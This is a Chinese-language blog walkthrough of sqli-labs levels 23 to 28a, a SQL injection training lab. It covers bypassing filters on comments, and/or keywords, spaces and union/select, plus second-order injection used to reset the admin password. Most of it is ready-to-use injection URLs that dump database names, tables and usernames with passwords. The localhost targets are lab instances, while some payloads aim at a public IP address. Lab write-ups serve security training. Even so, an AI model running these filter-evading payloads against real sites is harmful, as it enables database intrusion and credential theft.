文章目录

  • less-23
  • less-24
  • less-25
  • less-25a
  • less-26
  • less-26a
  • less-27
  • less-27a
  • less-28
  • less-28a

less-23

一、注释符

注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。

Mysql中的注释符:
1、单行注释: --+ 或 --空格 或 #
2、多行注释: /* 多行注释内容 */

对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合单引号、多单引号、双引号、单括号、多括号的功能。

二、去除注释符的代码分析

preg_replace(mixed $pattern , mixed $replacement , mixed $subject):

执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

三、 绕过去除注释符的SQL注入

利用注释符别过滤不能成功闭合单引号等,换一种思路 利用 or ‘1’='1闭合单引号等。

payload:

//爆库:
http://127.0.0.1/sqli/Less-23/?id=-1'union select 1,database(),'3//爆表:
http://127.0.0.1/sqli/Less-23/?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3//爆列:
http://127.0.0.1/sqli/Less-23/?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users') ,'3//爆内容:
http://127.0.0.1/sqli/Less-23/?id=-1' union select 1, (select group_concat(username,0x3a,password)  from users) ,'3

less-24

二次注入

二次排序注入也成为存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。

二次排序注入思路:

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务 端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储, 通常是保存在数据库中, 保存的 数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响 应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后, 为了处理该请求, 服务端会查询数据库 中已经存储的数据信息并处理, 从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服 务端环境中执行。
  5. 服务端返回执行的处理结果数据信息, 黑客可以通过返回的结果数据信息判断二次注 入漏洞利用是否成功。

二次注入代码分析

源代码并没有过滤注释符,通过观察第二张图的更新语句发现我们可以在参数username中进行恶意构造,注释后面的相关语句,从而到达移花接木的目的。

三、实战

我们先注册一个用户名为admin’#的账户,在我们更改密码的时候update语句的and password =’&curr_pass’被注释,我们就可以任意更改已经存在的用户名为admin的用户的密码。
我们对admin’#账户执行更新密码操作,将密码更新为abc123
发现admin用户的密码被更改为了abc123

四、危害

1、注入Payload触发二次SQL注入
2、注入Payload触发XSS攻击。

less-25

一、一些知识

1、Mysql中的大小写不敏感,大写与小写一样。
2、Mysql 中的十六进制与URL编码都可以被识别。
3、符号和关键字替换 and = &&、or = ||。
4、内联注释与多行注释 /! 内联注释/ /多行注释/。

二、去除and和or的代码分析

preg_replace(mixed $pattern , mixed $replacement , mixed $subject):

执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

三、绕过策略

1、大小写变形,Or,OR,oR,OR,And,ANd,aND等 --代码中大小写不敏感 都被剔除
2、在这两个敏感词汇中添加注释,例如:a/**/nd 双写绕过 oorr
3、利用符号替代————and --&& or–||
4、编码

四、实战(报错注入)
payload:

//爆库:
http://127.0.0.1/sqli/Less-25/?id=1' anandd updatexml(1,concat(0x7e,database(),0x7e),1) --+//爆表:
http://127.0.0.1/sqli/Less-25/?id=1' anandd updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e),1) --+//爆列:
http://127.0.0.1/sqli/Less-25/?id=1' anandd  updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),0x7e),1) --+//爆内容
http://127.0.0.1/sqli/Less-25/?id=1' anandd  and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
http://127.0.0.1/sqli/Less-25/?id=1' anandd  and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+

less-25a

和less-25基本相同,只是不再显示报错,没法用报错注入,我们用联合注入,且参数为数字型,不需要闭合。

payload:

//爆库:
http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,database(),3 --+//表:
http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')--+//爆列:
http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2, group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+//爆内容:
http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2, group_concat(username,0x3a,passwoorrd)  from users --+

less-26

这里过滤的东西就比较多了,除了之前的关键字还过滤了注释符与关键字。对于空格,我们常见的绕过方式就是多行注释,但这里/**/被过滤了行不通;对于注释符被过滤了我们只能构造一个’来闭合到后面的参数;对于空格有较多的方法,我们有很多的特殊字符可以代替空格,具体如下:

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格

对于and、or的过滤不再赘述,参考less-25
注:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到Linux平台下。

下面给出一个最简单的
payload:

http://127.0.0.1/sqllib/Less-26/?id=1'%a0oorr'1
//'%a0oorr'1中的第一个'用来闭合id='$id'中的',而%a0是空格的意思,oorr是为了绕过or的过滤,最后的'1是为了闭合后面的'

(ps:此处我的环境是ubuntu14.04+apache+mysql+php,可以解析%a0,此前在windows+wamp测试,不能解析%a0,有知情的请告知。对于%0b也是经过测试可以替换空格的。对于其他上述所列的是没有通过测试的。在利用or和and的替换符号的时候在hackbar中输入&&时,是需要URL编码为%26%26否则会报错,对于||则不用编码,我也不知道为什么…)

payload:

//爆库:
http://127.0.0.1/sqli/Less-26/?id=0'union%a0select%a01,database(),3%26%26'1'='1//爆表:
http://127.0.0.1/sqli/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1//爆列:
http://127.0.0.1/sqli/Less-26/?id=0%27%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1//爆内容:
http://127.0.0.1/sqli/Less-26/?id=0%27%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1
//这里不同的是后面多了where '1'='1,是为了让语句变成无约束查询,解释见:https://www.jb51.net/article/38062.htm

less-26a

与less-26基本相同,只不过闭合方式变为(’’)

payload:

//爆库:
http://127.0.0.1/sqli/Less-26a/?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1//爆表:
http://127.0.0.1/sqli/Less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1//爆列:
http://127.0.0.1/sqli/Less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1//爆内容:
http://127.0.0.1/sqli/Less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd,username),3%0bfrom%0busers%0bwhere%0b('1')=('1

less-27

更过分了union select都给过滤了,但是用大小写混淆就能通过了。

注:

/s与/m为正则表达式的模式修正符。

/s是将字符串视为单行,换行符作为普通字符。如果设定了此修正符,模式中的圆点元字符(.)匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。

/m是将字符串视为多行。当设定了此修正符,“行起始:^”和“行结束:$”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。如果目标字符串中没有“\n”字符或者模式中没有 ^ 或 $,则设定此修正符没有任何效果。

payload:

//爆库:
http://127.0.0.1/sqli/Less-27/?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1//爆表:
http://127.0.0.1/sqli/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1//爆列:
http://127.0.0.1/sqli/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1//爆内容:
http://127.0.0.1/sqli/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3

less-27a

""闭合的盲注

payload:

//求库名长度:
http://43.247.91.228:84/Less-27a/?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3
http://43.247.91.228:84/Less-27a/?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3
//成功回显//爆库:
http://43.247.91.228:84/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3//爆表:
http://43.247.91.228:84/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1
//查表名需要闭合后面双引号我就用"1"="1来闭合,前面还需要&&(%26%26)并一起,要不然会显示不出来,这个我经常忘记,没有就会出现这种情况//爆列:
http://43.247.91.228:84/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1//爆内容:
http://43.247.91.228:84/Less-27a/?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3
或:
http://43.247.91.228:84/Less-27a/?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0where%a0"1"="1
// 注意这里需要把&&给去掉,我也是经常忘记

less-28

没有过滤or与and。
过滤了相连的union和select,/i同时匹配大小写,\s匹配任意空白字符如制表符、换行符、空格等,使用%a0可以绕过。
过滤了–、#以及/**/。
过滤了两次空格。
过滤了/但没过滤\。
这关没有报错回显,可以明注、盲注。

直接明注即可:
payload:

//爆库:
http://43.247.91.228:84/Less-28/?id=0')%0buniOn%0bsElEct%0b1,database(),3%0bor%0b('1')=('1//爆表:
http://43.247.91.228:84/Less-28/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b('1')=('1//爆列:
http://43.247.91.228:84/Less-28/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b('1')=('1//爆内容:
http://43.247.91.228:84/Less-28/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0bwhere%0b('1')=('1

less-28a

过滤or、and
过滤–、#、/**/
过滤/、\
过滤空格两次
过滤union、select同时匹配大小写
过滤union且空白字符连接select同时匹配大小写
基本上过滤了所有字符,但是,所有的一次性过滤都能用双写绕过!除非循环过滤。

和less-28基本没有区别…闭合方式都没改变
payload:

//爆库:
http://43.247.91.228:84/Less-28a/?id=0')%0buniOn%0bsElEct%0b1,database(),3%0bor%0b('1')=('1//爆表:
http://43.247.91.228:84/Less-28a/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b('1')=('1//爆列:
http://43.247.91.228:84/Less-28a/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b('1')=('1//爆内容:
http://43.247.91.228:84/Less-28a/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0bwhere%0b('1')=('1

sqli-labs通关笔记(less23-less28a)相关推荐

  1. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  2. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  3. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

  4. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  5. iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...

  6. polar靶场通关笔记

    polar靶场通关笔记 swp 啥是swp文件勒? 当用vim打开文件,但是终端异常退出时系统会产生一个.文件名swp的文件. 当源文件被意外删除时,可以利用swp文件恢复源文件 根据提示猜测存在sw ...

  7. sqli——labs初学者通关详

    目录 Less-1 GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入) Less-2 GET-Error based- Intiger bas ...

  8. sql—labs通关

    本文使用的工具有Navicat,phpstrom,小皮面板,至于安装方法这里不再描述可以,哔哩哔哩搜索一下即可 sqllabs下载地址:https://github.com/Audi-1/sqli-l ...

  9. SQLi LABS Less-8 布尔盲注

    「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 第八关是单引号字符型注入,推荐使用布尔盲注 方式一:布尔盲注 第一步.判断注入 ...

最新文章

  1. 利用cvMinAreaRect2求取轮廓最小外接矩形
  2. HTML5-WebSocket实现对服务器CPU实时监控
  3. iptables 开放远程_JavaWeb项目的部署以及远程调试
  4. Linux——进程管理学习简单笔记
  5. Smarty模板技术学习
  6. 动态生成的DOM不会触发onclick事件的原因及解决方法
  7. Linux 下安装Eclipse C++
  8. vue + typescript 父子组件传值记录
  9. Jenkins 持续集成CICD
  10. python合并两列数据_在pandas / python中的同一数据框中将两列合并...
  11. Posterino常见问题:为什么渲染的文档在打印时看起来模糊?
  12. paip.连接access2003数据库python3.3以及php5对比
  13. springboot自动装配原理(通俗易懂)
  14. UWB定位系统的主要误差来源
  15. 在vscode中打开PDF文件
  16. linux 函数中打印调用栈
  17. 【2021年度总结】回忆过去,大专生的三年
  18. CCNA-应试教育-思科网院-CCNAv7: Switching, Routing, and Wireless Essentials 交换、路由和无线基础。
  19. 笔记本如何选择修复计算机,详细教你笔记本电脑无线网卡修复
  20. Macbook pro md318 升级SSD以及8G内存过程以及问题总结

热门文章

  1. 这种 Github 不要写在简历上!你们有没有写过?
  2. 云计算行业前景好不好 如何成为云计算专业人才
  3. java 0l_关于java:[L数组符号-它来自哪里?
  4. Windows7 旗舰版原版镜像下载
  5. python骚操作!WiFi密码还能这样获取?用户扫一扫连接,无需输入密码
  6. 服务器端如何判断客户端是不是手机
  7. 在Docker中运行EOS(MAC版)
  8. python按行读字符串,python按行读取文件并找出其中指定字符串
  9. Go语言实现AI五子棋智能算法
  10. Django+Nginx部署静态文件